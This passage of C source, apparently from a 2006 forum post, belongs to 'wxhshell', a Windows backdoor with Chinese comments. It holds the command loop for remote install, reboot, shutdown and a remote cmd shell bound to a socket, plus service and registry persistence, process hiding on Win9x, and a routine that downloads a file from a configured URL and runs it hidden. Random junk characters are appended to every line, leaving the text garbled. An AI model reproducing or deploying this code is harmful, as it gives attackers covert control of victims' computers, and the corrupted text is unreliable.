  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #9 u2LK  
  } MClvmv^  
  else { sY@x(qkIOc  
U9%#(T$  
    switch(cmd[0]) { G !;<#|a  
  G;yh$n<"  
  // 帮助 m\;@~o'k  
  case '?': { ?)mM]2%%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \zv?r :1t  
    break; a_amO<!   
  } pipqXe  
  // 安装 h?+bW'm  
  case 'i': { /qObXI  
    if(Install()) ~"8)9&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (^ ;Fyf/  
    else |n q}#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L6f$ID:  
    break; ;=F]{w]$+  
    } 1@ .Eh8y  
  // 卸载 ;.|).y1/`  
  case 'r': { $Oi@B)=4d+  
    if(Uninstall()) x/^,{RrPk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w//L2.  
    else 6%t>T~x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2}8xY:|@(U  
    break; EH~XN9b  
    } iR6w)  
  // 显示 wxhshell 所在路径 xji2#S%  
  case 'p': { zcE[wM  
    char svExeFile[MAX_PATH];  k.("<)  
    strcpy(svExeFile,"\n\r"); U3 y-cgE  
      strcat(svExeFile,ExeFile); ?/ Cl  
        send(wsh,svExeFile,strlen(svExeFile),0); yx&'W_Q@  
    break; K3On8  
    } Yk!TQY4  
  // 重启 uIb,n5  
  case 'b': { \g<=n&S?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;8J+Q0V  
    if(Boot(REBOOT)) ;!H|0sv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 72;ot`  
    else { AV:P/M^B  
    closesocket(wsh); Qkq9oZ  
    ExitThread(0); U f <hzP  
    } +?[,{WtV  
    break; #I] ^Wo  
    } E"[h20`\/  
  // 关机 ubZcpqm?Q  
  case 'd': { 8dY Pn+`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LCf)b>C*  
    if(Boot(SHUTDOWN)) ~qj09  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = gbB)u-Pc  
    else { Ccx1#^`  
    closesocket(wsh); PGaYYc3X  
    ExitThread(0); d9kN @W  
    } TEYn^/n~  
    break; 4<{]_S6"0y  
    } "0edk"hk  
  // 获取shell 1YxG<K]  
  case 's': { y_e$W3bON,  
    CmdShell(wsh); p ! _\a  
    closesocket(wsh); BJ,9C.|  
    ExitThread(0); *dw6>G0U  
    break;  s%c>Ge  
  } eG05}  
  // 退出 cEc_S42Z  
  case 'x': { J jp)%c#_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OqcM3#  
    CloseIt(wsh); |>U:Pb(  
    break; y +2  
    } 2V6kCy@V  
  // 离开 6+s10?  
  case 'q': { Un[ 0or  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^}PG*h|  
    closesocket(wsh); THl={,Rw`  
    WSACleanup(); ?0%3~E`l:  
    exit(1); 7u|X . X  
    break; 8M,AFZ>F  
        } XVwJr""+  
  } eGF+@)K1"  
  } X{YY)}^  
:U!@  
  // 提示信息 c1x{$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iXsX@ S^F  
} AIU=56+I\  
  } 9>I&Z8J$M  
CNkI9>L=W`  
  return; 1](PuQm7+  
} (.Th?p%>7  
Wp2$L-T&$  
// shell模块句柄 "!F%X%/  
int CmdShell(SOCKET sock) E'ay @YAp  
{ SE7mn6,%\  
STARTUPINFO si; F).7%YfY  
ZeroMemory(&si,sizeof(si)); gL(_!mcwu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hq|I%>y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rY,zZR+@  
PROCESS_INFORMATION ProcessInfo; S8Ec.]T   
char cmdline[]="cmd"; dWK"Tkf\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mNk@WY_F  
  return 0; 1&.q#,EMn(  
} f'WRszrF  
@yj$  
// 自身启动模式 "pInb5F  
int StartFromService(void) m<liPl uv  
{ "PePiW(i+  
typedef struct vXLGdv::  
{ 7RZ HU+  
  DWORD ExitStatus; vi; yT.  
  DWORD PebBaseAddress; a9N$I@bi]  
  DWORD AffinityMask; 4o69t  
  DWORD BasePriority; Z(Z$>P&4  
  ULONG UniqueProcessId; 8c3/n   
  ULONG InheritedFromUniqueProcessId; >z|bQW#2  
}   PROCESS_BASIC_INFORMATION; \TS.9 >\  
m8Y>4:Nw  
PROCNTQSIP NtQueryInformationProcess; n3" @E<rW  
JH+uBZh6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U)6Ew4uRxV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [O@U@bD9  
-2qI2Z  
  HANDLE             hProcess; <0btwsv}  
  PROCESS_BASIC_INFORMATION pbi; 9l<}`/@}W  
@ *&`1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9yYNX;C  
  if(NULL == hInst ) return 0; %{B4M#~  
">v- CSHY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f7?u`"C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &~'^;hy=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R q .2  
RHu4cK!5  
  if (!NtQueryInformationProcess) return 0; ^5q}M'  
b>@fHmpwD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CuFlI?~8 z  
  if(!hProcess) return 0; 0 } |21YED  
PnJA'@x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MUi#3o\f  
$VJE&b  
  CloseHandle(hProcess); S;}/ql y  
T!1Np'12zF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q22@ZRw  
if(hProcess==NULL) return 0; IN=l|Q$8f  
}+fBJ$  
HMODULE hMod; LM*m> n*  
char procName[255]; 50^CILKo7  
unsigned long cbNeeded; 5|g#>sx>`q  
0Ci:w|J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @N6KZn |R  
SD.c 9  
  CloseHandle(hProcess); F-<c.0;6  
, L5.KwB  
if(strstr(procName,"services")) return 1; // 以服务启动 9=9R"X>L  
6#Bg99c  
  return 0; // 注册表启动 4`p[t;q  
} N6h.zl&04  
keS%w]87  
// 主模块 lTJM}K  
int StartWxhshell(LPSTR lpCmdLine) xz){RkVzP  
{ V&R_A~<T  
  SOCKET wsl; (P 9$Ei0fv  
BOOL val=TRUE; }b / G{92  
  int port=0; H1e^/JD)  
  struct sockaddr_in door; Za'}26  
XB+Juk&d  
  if(wscfg.ws_autoins) Install(); k7=mxXF  
+f\r?8s  
port=atoi(lpCmdLine); K~ VUD(  
qViolmDz  
if(port<=0) port=wscfg.ws_port; ;mXw4_{  
$jN,] N~  
  WSADATA data; |r/4 ({n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A{ Ejk|  
+\~Mx>Cn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $qk(yzY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pd oCV  
  door.sin_family = AF_INET; z/t+t_y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q*caX   
  door.sin_port = htons(port); E{E%nXR)  
QW6\~l 4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <m+$@:cO  
closesocket(wsl); b;$j h   
return 1; oWdvpvO  
} P*6&0\af|  
ns9a+QQ  
  if(listen(wsl,2) == INVALID_SOCKET) { pYaq1_<+  
closesocket(wsl);  ^6Y:9+  
return 1; Oz7WtN  
} roE*8:Y  
  Wxhshell(wsl); ?o.Q  
  WSACleanup(); s(M8 Y  
/]"2;e-s+  
return 0; \F8*HPM=*  
*8j2iu-|  
} ;c;PNihg  
|\S p IFH1  
// 以NT服务方式启动 mLL?n)   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pTk1iGfB  
{ H| 1O>p&  
DWORD   status = 0; Oj^qh+r  
  DWORD   specificError = 0xfffffff; 7cMSJM(]G  
x1{gw 5:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4]3(Vyh`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i& ybvTl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pt+[BF6P  
  serviceStatus.dwWin32ExitCode     = 0; uQlQ%n%  
  serviceStatus.dwServiceSpecificExitCode = 0; $E]W U?U  
  serviceStatus.dwCheckPoint       = 0; U#U nM,3%  
  serviceStatus.dwWaitHint       = 0; 9Lv"|S`5W_  
`t~Zkb4>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 01" b9`jU  
  if (hServiceStatusHandle==0) return; {expx<+4F  
l gzA) (  
status = GetLastError(); @>sZ'M2mq  
  if (status!=NO_ERROR) E/_I$<,_y  
{ O$,MdhyXC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dCkk5&2n  
    serviceStatus.dwCheckPoint       = 0; !*@sX7H  
    serviceStatus.dwWaitHint       = 0; 26Jb{o9Z<  
    serviceStatus.dwWin32ExitCode     = status; *eonXJYD  
    serviceStatus.dwServiceSpecificExitCode = specificError; Au-h#YV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kL1StF#p  
    return; J"Z=`I)KON  
  } #N'W+M /  
_wKaFf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <|MF\D'  
  serviceStatus.dwCheckPoint       = 0; -@EAL:kY  
  serviceStatus.dwWaitHint       = 0; r1)@ 7Nt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #[C=LGi  
} s35`{PR  
mWPA]g(  
// 处理NT服务事件,比如:启动、停止 yhpeP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n$O[yRMI[  
{ z[`O YwsW  
switch(fdwControl) !ENDQ?1  
{ }[gk9uM_7  
case SERVICE_CONTROL_STOP: s}3`%?,6y  
  serviceStatus.dwWin32ExitCode = 0; "$Mz>]3&q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B<" `<oG@|  
  serviceStatus.dwCheckPoint   = 0; Lm{qFu  
  serviceStatus.dwWaitHint     = 0; g VPtd[r  
  { y]e[fZ`L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z/f%$~Ch  
  } muJR~4  
  return; ,p\:Z3{ZH  
case SERVICE_CONTROL_PAUSE: -FGQn |h4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iUua!uC  
  break; i=^!? i  
case SERVICE_CONTROL_CONTINUE: Fb0r(vQ^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GWvw<`4  
  break; ^I CSs]}1  
case SERVICE_CONTROL_INTERROGATE: &xYO6_.  
  break; [PW\l+i  
}; ?~p]Ey}~9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zvgy$]y'\  
} CVy\']  
OD O'!T-  
// 标准应用程序主函数 _ / >JM0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !5}u\  
{ p"UdD  
G8t9Lx  
// 获取操作系统版本 lPaTkZw  
OsIsNt=GetOsVer(); TF1,7Qd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ' %&gER  
aJ/}ID  
  // 从命令行安装 Nm7YH@x*o  
  if(strpbrk(lpCmdLine,"iI")) Install(); /L yoTBG  
u$38"&cmA  
  // 下载执行文件 J_S8=`f%  
if(wscfg.ws_downexe) { NZoNsNu*C.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /2.}m`5  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q_r}cL/A  
} iLC.?v2=  
SIridZ*%  
if(!OsIsNt) { Mm)yabP  
// 如果时win9x,隐藏进程并且设置为注册表启动 [2$mo;E?  
HideProc(); kfV}ta'^S  
StartWxhshell(lpCmdLine); 0Fw4}f.o  
} :*} -,{uX  
else ?yc{@|  
  if(StartFromService()) .sCj3sX*  
  // 以服务方式启动 [o"<DP6w  
  StartServiceCtrlDispatcher(DispatchTable); U #C@&2  
else xWnOOE$i  
  // 普通方式启动 &.l^>#  
  StartWxhshell(lpCmdLine); &"r /&7:  
vvI23!H  
return 0; abD@0zr  
}
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只看该作者 1 发表于: 2006-10-10
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